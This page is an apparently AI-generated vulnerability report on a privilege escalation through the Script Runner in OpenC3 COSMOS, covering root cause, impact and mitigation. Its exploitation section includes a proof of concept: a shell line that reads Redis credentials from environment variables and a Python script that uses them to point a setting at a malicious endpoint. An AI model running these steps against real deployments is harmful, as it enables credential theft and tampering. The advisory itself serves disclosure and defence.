CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-2WVH-87G2-89HR

GHSA-2wvh-87g2-89hr: Privilege Escalation via Script Runner in OpenC3 COSMOS

Alon Barad
Alon Barad
Software Engineer

Apr 23, 2026·6 min read·25 visits

Executive Summary (TL;DR)

OpenC3 COSMOS versions prior to 7.0.0-rc3 fail to adequately sandbox the Script Runner tool. Authenticated users can extract internal Redis credentials from the execution environment and connect directly to backend databases, bypassing application-level access controls to modify system settings and retrieve secrets.

A critical permissions bypass vulnerability in OpenC3 COSMOS allows authenticated users to escalate privileges via the Script Runner tool. The vulnerability occurs because the script execution environment shares a network with internal services and exposes sensitive credentials via environment variables, allowing attackers to directly interact with internal components like the Redis database.

Vulnerability Overview

OpenC3 COSMOS provides a command and control system that includes a Script Runner tool designed for operational automation. This tool allows authenticated operators to execute Python and Ruby scripts directly within the openc3-COSMOS-script-runner-api Docker container. The vulnerability, tracked as GHSA-2wvh-87g2-89hr, arises from insufficient isolation between this script execution environment and the underlying infrastructure.

The core issue is a combination of Execution with Unnecessary Privileges (CWE-250) and Improper Privilege Management (CWE-269). The script runner container operates on the same internal Docker network as backend data stores and services. Furthermore, the environment variables provided to this container include high-privilege credentials intended only for internal service-to-service communication.

By leveraging the Script Runner, an authenticated user with low-level privileges can bypass the intended role-based access control (RBAC) mechanisms. The attacker can extract the internal credentials and pivot to directly query or modify backend infrastructure. This breaks the security boundary between the application frontend and the internal data tier, resulting in unauthorized data access and configuration tampering.

Root Cause Analysis

The root cause of this vulnerability lies in the architectural decision to pass infrastructure secrets as plaintext environment variables into a container that executes user-supplied code. The openc3-COSMOS-script-runner-api container relies on these environment variables to establish its own connections to backend services. When a user submits a script for execution, the Python or Ruby interpreter inherits the complete environment of the parent process.

Because the interpreter lacks a strict sandbox, the user-supplied script executes with the full network and credential context of the container itself. The Docker networking configuration does not enforce micro-segmentation between the script runner and the Redis database. Consequently, the script runner container maintains unrestricted network access to the openc3-redis hostname on port 6379.

This architectural flaw renders application-level authorization checks ineffective. The OpenC3 API correctly enforces permissions when a user attempts to modify settings via the standard web interface. However, the internal Redis database lacks secondary authentication checks that differentiate between the legitimate COSMOS application service and a user-controlled script executing within the shared environment. The trusted network position and valid credentials satisfy the database's authentication requirements.

Architectural and Code Context

The vulnerability manifests primarily in the deployment configuration rather than a specific code defect in the script execution logic. In the vulnerable state, the orchestration configuration (such as Docker Compose or Kubernetes manifests) maps sensitive configuration values directly into the container's process space. The environment block typically includes keys such as REDIS_PASSWORD or REDIS_URL.

The following is a conceptual representation of the vulnerable deployment state:

services:
  script-runner-api:
    image: openc3inc/openc3-COSMOS-script-runner-api
    environment:
      - REDIS_HOST=openc3-redis
      - REDIS_USER=openc3
      - REDIS_PASSWORD=openc3password
    networks:
      - internal_cosmos_network
 
  openc3-redis:
    image: redis:alpine
    networks:
      - internal_cosmos_network

The remediation strategy requires decoupling the user script execution context from the primary API container context. A robust fix involves implementing a dedicated, unprivileged worker environment for script execution that does not receive infrastructure credentials. The parent process must marshal necessary data to the worker without exposing the underlying connection strings.

Additionally, network policies must be updated to explicitly deny connections from the script execution workers to sensitive backend services like Redis or the object storage buckets. The worker should only communicate with an intermediating API gateway that enforces standard authorization checks, ensuring that executed scripts cannot bypass the application's RBAC enforcement.

Exploitation Methodology

Exploiting this vulnerability requires authenticated access to the OpenC3 COSMOS instance with sufficient privileges to use the Script Runner tool. The attack consists of a two-stage process: credential extraction and unauthorized data manipulation. The initial phase leverages a minimal payload to enumerate the execution environment.

The attacker first submits a Ruby script to print the environment variables, specifically filtering for database credentials. The following script outputs all environment variables containing the string redis:

# Step 1: Credential Extraction
puts `env | grep redis`

Upon obtaining the host, username, and password, the attacker submits a secondary Python script to establish a direct connection to the internal Redis instance. This script instantiates a Redis client using the extracted credentials and modifies application state directly. The following proof-of-concept demonstrates overwriting an application setting (store_url) to redirect internal functionality:

# Step 2: Privilege Escalation and Modification
import redis
import json
import time
 
r = redis.Redis(
    host='openc3-redis',
    port=6379,
    username='openc3',
    password='openc3password',
    decode_responses=True
)
 
setting_data = {
    'name': 'store_url',
    'data': 'http://malicious-endpoint.com',
    'updated_at': time.time_ns()
}
 
r.hset('openc3__settings_hacked', 'store_url', json.dumps(setting_data))
print(r.hget('openc3__settings_hacked', 'store_url'))

Impact Assessment

The impact of this vulnerability extends to the complete compromise of the OpenC3 COSMOS application configuration and internal state. The CVSS v3.1 base score is 9.1, reflecting a critical severity level. The Scope metric is evaluated as Changed (S:C) because the vulnerability originates in the script execution context but impacts the broader backend infrastructure.

An attacker who successfully exploits this flaw gains read and write access to all data stored within the internal Redis instance. This includes the ability to modify internal settings, inject malicious configuration data, or read sensitive cryptographic material and session tokens. The attacker bypasses all application-level audit logging and authorization controls designed to protect these assets.

Furthermore, the attacker can leverage the shared network position to interact with other internal services, such as the internal buckets service. This permits the uploading of malicious plugins or the modification of existing operational scripts. The integrity and confidentiality of the COSMOS deployment are entirely compromised, although the underlying host operating system availability remains unaffected.

Mitigation and Remediation

The primary remediation for this vulnerability is to upgrade OpenC3 COSMOS to version 7.0.0-rc3 or a subsequent stable release. The patched versions introduce architectural changes that restrict the script execution environment and manage credentials securely. Administrators must apply the vendor-provided updates to all affected environments.

If immediate patching is not technically feasible, administrators should restrict access to the Script Runner tool. Modify the role-based access control policies to ensure that only highly trusted, administrative users possess the privileges required to submit and execute scripts. This reduces the likelihood of exploitation by a low-privileged insider or compromised external account.

Organizations should also implement defense-in-depth measures at the orchestration layer. Apply network policies that restrict outbound traffic from the openc3-COSMOS-script-runner-api container to explicitly required destinations only. Connections to backend data stores like Redis and PostgreSQL should be blocked at the network level for the script execution context, regardless of the credentials possessed by the container.

Official Patches

OpenC3Vendor Security Advisory

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Systems

OpenC3 COSMOS Script Runner API ContainerOpenC3 COSMOS Internal Redis DatabaseOpenC3 COSMOS Buckets Service

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenC3 COSMOS
OpenC3
< 7.0.0-rc37.0.0-rc3
AttributeDetail
CWE IDCWE-250, CWE-269
Attack VectorNetwork
CVSS Score9.1 (Critical)
ImpactConfidentiality: High, Integrity: High, Availability: None
Exploit StatusProof of Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
T1059.006Command and Scripting Interpreter: Python
Execution
T1059.011Command and Scripting Interpreter: Ruby
Execution
T1548Abuse Elevation Control Mechanism
Privilege Escalation
T1552.001Unsecured Credentials: Environmental Variables
Credential Access
CWE-250
Execution with Unnecessary Privileges

The software performs an operation at a privilege level that is higher than the minimum level required, creating or amplifying security vulnerabilities.

Known Exploits & Detection

Research ReportPython and Ruby scripts to extract environment variables and overwrite internal Redis settings.

Vulnerability Timeline

Vulnerability Published and Last Modified
2026-04-23

References & Sources

  • [1]GitHub Advisory
  • [2]Vendor Security Advisory
  • [3]OSV Record
  • [4]Product Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-65599
5.1

CVE-2026-65599: Google Service Account Private Key Leakage via JWT Header Parameter in n8n

A credential exposure vulnerability in n8n (CVE-2026-65599) transmits the complete PEM-formatted Google Service Account private key in the 'kid' (Key ID) parameter of outbound JWT headers during Google API authentication. Because JWT headers are encoded in plain Base64URL and not encrypted, any entity that intercepts, logs, or processes these outbound requests can immediately extract the plaintext private key. This enables unauthorized third parties to fully compromise the corresponding Google Cloud Platform (GCP) service account and access any authorized cloud resources.

Alon Barad
Alon Barad
0 views•7 min read
•about 4 hours ago•CVE-2026-47300
8.8

CVE-2026-47300: Elevation of Privilege in ASP.NET Core Negotiate Authentication Handler

CVE-2026-47300 is a high-severity Elevation of Privilege (EoP) vulnerability in Microsoft's ASP.NET Core framework, affecting the Negotiate Authentication Handler when configured to retrieve security groups and role mappings via an LDAP/Active Directory directory service. In cross-platform Linux and macOS environments where native Windows token group expansion is unavailable, an authenticated attacker with low-privileged network access can manipulate LDAP query structures or force connections to untrusted directory resources, resulting in unauthorized administrative role assignment.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 10 hours ago•CVE-2026-20779
7.1

CVE-2026-20779: TOTP Single-Use Enforcement Defect in Gitea

Gitea versions from 1.5.0 before 1.26.3 contain a security vulnerability in their multi-factor authentication (MFA) logic. This vulnerability allows valid TOTP codes to be accepted multiple times across web authentication flows and the Basic Auth X-Gitea-OTP header path. Due to a TOCTOU race condition and a lack of state tracking in programmatic auth pathways, attackers with valid credentials can replay single-use OTP codes.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 11 hours ago•GHSA-R7WM-3CXJ-WFF9
5.3

GHSA-R7WM-3CXJ-WFF9: StreamReadConstraints Bypass in jackson-core Async Parser

A critical validation bypass exists in FasterXML jackson-core due to an incomplete fix for GHSA-72hv-8253-57qq. When parsing JSON asynchronously using NonBlockingUtf8JsonParserBase, the StreamReadConstraints.maxNumberLength constraint is bypassed when numeric inputs are received in small, non-terminating chunks. The parser continually accumulates digit-only input in an internal buffer without triggering validation constraints, resulting in potential heap memory exhaustion and application-level Denial of Service.

Alon Barad
Alon Barad
9 views•6 min read
•about 12 hours ago•GHSA-2RP8-MM9Q-FP49
8.0

GHSA-2RP8-MM9Q-FP49: Remote Code Execution via Template-Literal Code Injection in TypeORM migration:generate

A critical second-order code injection vulnerability exists in the migration generation engine of TypeORM. When TypeORM introspects a database schema to automatically generate migration files, it writes schema metadata directly into JavaScript/TypeScript migration files inside ES2015 template literals. Because the generator failed to sanitize template literal string interpolation markers and backslashes, attackers with control over database metadata can execute arbitrary code on the developer environment or within a CI/CD pipeline.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 13 hours ago•GHSA-9WJQ-CP2P-HRGF
4.7

GHSA-9WJQ-CP2P-HRGF: SVG href Attribute Bypass in Loofah HTML/XML Sanitizer

A security logic flaw in Loofah, a Ruby HTML/XML sanitization library, allowed unauthenticated attackers to bypass local-reference restrictions on SVG elements. Prior to version 2.25.2, Loofah only sanitized the legacy namespaced "xlink:href" attribute when enforcing local URI fragments on SVG elements like "<use>". It did not validate or sanitize the plain, non-namespaced "href" attribute introduced in the SVG 2 standard. This structural omission allowed attackers to construct SVG elements referencing external domains, paving the way for arbitrary resource loading and cross-site scripting (XSS).

Alon Barad
Alon Barad
5 views•5 min read